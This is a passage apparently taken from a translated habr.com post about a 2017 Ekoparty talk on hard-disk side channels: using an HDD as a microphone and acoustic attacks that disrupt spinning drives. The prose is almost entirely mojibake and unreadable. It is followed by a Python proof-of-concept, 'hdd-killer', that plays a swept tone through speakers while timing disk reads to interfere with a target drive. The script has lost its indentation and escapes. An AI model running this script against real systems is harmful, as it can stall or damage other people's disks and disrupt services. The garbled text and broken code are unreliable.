ืืื ืก ืืืืืช ืืืืฉืืื ืฉื Ekoparty 2017 ืืืืื ืืก ืืืืจืก, ืืจืื ืืืืงืจ ืืืจืื ืืื ืื ืืืคืจืื ืืืจืืื ืืชืคืชืืืช ืืขื ืืื ืช ืืืื - ืืขืจืืช ืืืืื ืช ืกืชืจ ืืืฆืจืื ืืื ืฉืืืืฉ ืืืืงืจืืคืื. ื ืฉืืข
ืืืืกืง ืืงืฉืื ืงืืื ืืขืืงืจ ืฆืืืืื ืืชืืจ ื ืืื ืืขืืฆืื ืืืืื, ืฆืขืืื ืืจืขืืืืช ืืืจืืช. ืืืืืจ ืื ืืฉื ืขืืืื ืื ื ืืชื ืืืืืช, ืื ืื ืืืขื ืื
ืฆืืื ืืื ืจืื ืฉื ืืืืืจ ืื ืืืืื ืืืจ. ืืื ืงืืื ืืืชื ืืจื ืขืืจ ืืชืืฃ, ืืฉืจ ืืขืืืจ ืจืขืืืืช ืืืืื ืืคื ืืืืช. ืืืืงืจืืคืื ืืขืืฆื ืืขืจื ืืื ืืืื - ืื ืืื ืชื ืืืืช ืืืงืืืืช ืขื ืืื ืงืจืื ืืง, ืฉืืขืืจืจ ืืืฃ ืืฉืืื. ืืืื ื ืืงืฉืื, ืืืืื, ื ืชืื ืื ืืจืขืืืืช ืืืงืจืืกืงืืคืืืช ืขืงื ืชื ืืืืช ืืืืืืจ ืฉืืกืืื. ืื ืืืืข ืืคืืื ืืืืืคืืื ืื ืืืื ืืื ืฉื ืืืกืงืื ืงืฉืืืื: ืืฆืจื ืื ืืฆืืื ืื ืืืจื ืืื ืืช ืจืืช ืืจืื ืืืจืืืช ืืืืชืจืช, ืืืืื ื ืืงืฉืื ืขืฆืื ืื ืกื ืืขืชืื ืงืจืืืืช ืืื ืื ืืืชื ืืืืื ืืกืื ืจืขืืืืช ืขืฉืื ืืืื ืื ืืืืจ ืืืืื ืืืจ. ืืืื ืงื ืืืกืืง ืฉื ืืชื ืืืงืืื ืฆืืืืื ืืืืฆืขืืช HDD. ืื ืื ืฉื ืืชืจ ืืื ืืืืื ืืื.
ืืืคืจืื ืืืจืืื ืืฆืืข ืืจืกื ืืืืืืืช ืฉื ืืชืงืคืช ืขืจืืฅ ืฆืืื, ืืืืืจ ืืชืงืคืช ืืื. ืืชืงืคื ืื ืืืืกืกืช ืขื ืืื ืื ืฉืคืขืืืืช ืฉืื ืืช ืืืืฆืขืืช ืืืืฉืืจ ืืืื ืื ืฉืื ืื, ืืืชืื ืื ืชืื ื ืืงืื ืฉื ืืชื ื. ืืืงืจื ืื, "ื ืชืื ื ืืงืื" ืื ืืจืขืืืืช ืฉื ืจืืฉ ืืงืจืืื ืืฉื ืคืืืช HDD, ืืืชืืืืื ืขื ืชื ืืืืช ืืกืืืื, ืืืืืจ ืขื ืืงืื. ืื, ืขื ืืื ืืืืืช ืืื ืืืืฉืื ืืืืฆืืข ื ืืชืื ืกืืืืกืื ืฉื ืื ืชืื ืื, ื ืืชื ืืืืื ืืช ืชื ืืืืช ืืจืืฉ/ืืืฉ ืืืืื ืืช ืชื ืืืืช ืืืืืื. ืืื ืฉืืขืืืื ืืงืจืืืช ื ืชืื ืื ืืจืื ืืืชืจ, ืื ืชื ืืืืช HDD ืืืงืืช ืืืชืจ, ืืืื, ืืฆืืื ืืืง ืืืชืจ.
ืืืฆื ืืืืื ืจืื ืืืื ื ืืงืฉืื? ืคืฉืื ืืืื: ืคืฉืื ืืคืขื ืืช ืงืจืืืช ืืืขืจืืช read ()
- ืืชืขื ืืช ืืืื ืฉืืืงื ืืืฉืืื. ืืขืจืืืช ืืคืขืื ืืืืจื ืืืช ืืืคืฉืจืืช ืื ืืงืจืื ืืช ืืชืืืื ืฉื ืฉืืืืช ืืืขืจืืช ืืืืืง ืฉื ื ื ื-ืฉื ืืืช.
ืืืืจืืช ืงืจืืืช ืืืืืข ืืืืืจ ืชืืืื ืืืืงืื ืืจืืฉ ืืืืืฉ, ืืืชืื ืขื ืืจืขืืืืช ืฉื ืืืจื HDD. ืื ืืื.
ื ืืชืื ืกืืืืกืื ืืชืืฆืข ืืืืฆืขืืช ืืื ืขืืจ ืคืฉืื ืฉื Kscope. ืืื ืฉืืืืจืื, ืืื ืืืื ื ืคืฉืื.
ืืื ืืฉืืจืืช Kscope (stat() syscall)
Kscope ืืื ืืื ืขืืจ ืงืื ืืืืืฉืช ืืืืืื ืืขืืจืื ืืืื ื ืืืฆืืข ืฉืืืืช ืืขืจืืช. ืึธืงืึนืจ
ืืืืืจ ื ืคืจื read ()
.
ืืืืื ืฉื ืืงืืืช ืงืื ืืืืฆืขืืช HDD, ืชืคืขืื ืืื ืืฉืืจืืช Kscope
ืืืืื ืฉืื ืืคืฉืจ ืืืืื ืืช ืืืืืืจ ืืฆืืจื ืื, ืืื ื- HDD ืืชืืื ืืืื ืืืืืฉื ืจืื. ืืืืืื, ื ืืชื ืืจืฉืื ืื ืืื ื ืืขื ื ืขืืืื ืงืฉืืช ืื ืืืฃ ื ืื ืก ืืืืจ ืขื ืืืฉื (ืื ืจืื, ืื ืืชืืงืฃ ื ืืขื ื ืขืื ืกืคืืจื ืจืืืช ืื ืฉืืฉ ืฉืืื ืขืื ืขื ืืจืฆืคื, ืืืืกืง ืืงืฉืื ืื ืืืื ืืจืฉืื ืจืขืืืืช - ืื ืฉืืื ืืืืงื). ืืืืฉื ืืกืืื ืืจืฉืื ืฉืืืจืืช ืืืืืืช ืื ืชืงืจืืืช ืืืจืืช ืืขืืฆืืช ืงืื ืืืงื. ืืืืืจ, ืืืื ื ืืงืฉืื ืืืื ืืฉืืฉ ืืขืื ืืขืจืืช ืืืืื ืืืืจื ืืืชื ืืืจืฉืืช.
ืจืืฆื HDD
ืืื, ื ืืชื ืืืฉืชืืฉ ืืืื ืืงื ืืืื ืืื ืืืฉืืืช ืืื ื ืื ืงืฉืืืื. ืจืง ืืื ืื ืื ื ืื ืืกืืจืื ืชื ืืืืช ืื-HDD, ืืื ืืืืคื, ืื ืื ื ืืืฆืจืื ืชื ืืืืช ืฉืืืื ืืช ื-HDD. ืื ืืชื ืืฉืืืข ืฆืืื ืืจืืงืื ืืชืืจ ืฉืืืืื ืขื ืชืืจ HDD, ืืืขืจืืช ืืืื ืืช ืืืืฉืืจ ืืืืจื ืขื ืฉืืืืช I/O (ืงืจื ื ืืืื ืืงืก ืืืื ืืืืืืื ืืช HDD ืืืืจ 120 ืฉื ืืืช). ืืืื ื ืืงืฉืื ืขืฆืื ืขืืื ืืกืืื ืื ืืง ืืืชื ืืคืื.
ืืืืช ืืื ืืงืก ืืืื ืืช ืืืื ื ืืงืฉืื ืืืืจ 120 ืฉื ืืืช ืฉื ืืกืคืงืช ืฆืืื ืืชืืจ ืชืืืื ืืจื ืืจืืงืื ืฉื ืจืืงืื ื-USB Edifier r19u. ืืจืืงืื ืืืคืขื ืืืจืืข ืืืืกืคืง (ืคืืืช ื-100 mW) ืืืืืงื 20 ืก"ื ืืืืืกืง ืืงืฉืื, ืืืืื ืืฉืืืื ืืื ืืฉืคืจ ืืช ืืจืขืืืืช. ืืกืืจืช ื
ืื ืืืืจ ืฉ"ืืชืงืคืืช" ืืืื ืขื ืืืกืงืื ืงืฉืืืื ืืชืจืืฉืืช ืืคืขืืื ืืืืจื ืืืขืืช ืืืื ืืืืืืื. ืืืืืื, ืืกืคืืืืจ 2016, ืืจืื ืื ืชืื ืื ืฉื ืื ืง ING ื ืืืฅ ืืืฉืขืืช ืืช ืืคืขืืืืช ืืืฉื 10 ืฉืขืืช ืืืืจ ืชืจืืื ืืืืื ืืฉ.
ืืืืื ืฉื ืฆืจืืืช ืื ืืฉืืืช ืขื ืืื ื ืื ืงืฉืืืื ืืืจืื ื ืชืื ืื. ืืืืืช ืืืืื
ืืื ืืืฆืืจ ืืช ืืฆืืื ืืืืืื, ืืืคืจืื ืืืจืืื ืืชื ืชืกืจืื ืฉื Python ืืฉื
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ืืงืืจ: www.habr.com